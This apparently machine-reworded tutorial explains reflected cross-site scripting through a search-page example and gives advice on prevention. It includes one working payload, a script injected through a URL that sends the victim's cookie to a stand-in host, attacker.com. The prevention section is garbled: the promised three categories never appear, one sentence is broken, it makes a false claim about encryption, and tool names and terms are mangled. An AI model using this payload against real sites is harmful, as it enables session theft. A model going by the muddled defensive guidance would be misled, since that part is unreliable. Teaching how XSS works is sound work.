Cross-Site Scripting: Types of XSS attacks:
Cross-site scripting vulnerabilities can be divided into three broad categories:
How Non-Persistent XSS works:
As a common example, imagine you have a search engine on your website. The user enters a search string, such as reflected XSS, and the web server returns a page titled You searched reflected XSS, followed by the search result. Usually, the search string is passed directly to the URL as the query parameter, which makes this type of attack much easier. The error pages are another place where user input is often responded to directly.
Below is the more realistic attack payload:
http://www.example.com/search.php?q= <script> document.location = 'https: //attacker.com/? cookie =' + encodeURIComponent (document.cookie) </script>
If the search function redirects the search result to the search results page, it will execute the inserted script and will redirect to attacker.com and send the user’s current cookie value to the attacker.
This type of cross-site scripting attack requires the user to send an HTTP request containing the attack payload, so the malicious links are the primary vector for reflected XSS attacks. They can be distributed via e-mail or on social media, or simply published on a website under an attractive name in the hope that users will click on them. Attackers often use URL shortening services to hide the linked content. As a result, the user may be tricked into accessing malicious URLs.
Prevent Reflected XSS attacks:
Cross-site scripting is one of the fundamental types of vulnerabilities in web application security, so there are plenty of tools and resources to help you protect against it. Like other injection attacks, careful input validation and contextual coding provide. The “sensitive data” section is where the real risks are, as the data is encrypted depending on where in the source you are inserting the input. To learn more, please refer to OWASP Cross-Site Scripting Prevention Cheat Sheet and OWASP guide to Testing for Reflected Cross-Site Scripting.
Filtering of input data by blacklisting certain strings and characters is not an effective protection and is not recommended. This is why the XSS filter is no longer used in today’s browsers. For protection against cross-site scripting and many other attacks, a carefully configured Content-Security Policy (CSP) is the recommended approach.
The vast majority of cross-site scripting, including non-persistent XSS, can be detected with modern vulnerability testing. There are a ton of free and paid tools available today that help to find a wide variety of XSS, from basic mirror XSS to more complex attacks like DOM-based and XSS blinds, while also providing read-only suggestions. details about the appropriate remedies. Free tools: Vega, App Trana, Burp Suite, .. Paid tools: Netsparker, Cloud Security, …
Reference source: https://www.netsparker.com/blog/web-security/reflected-xss-attack/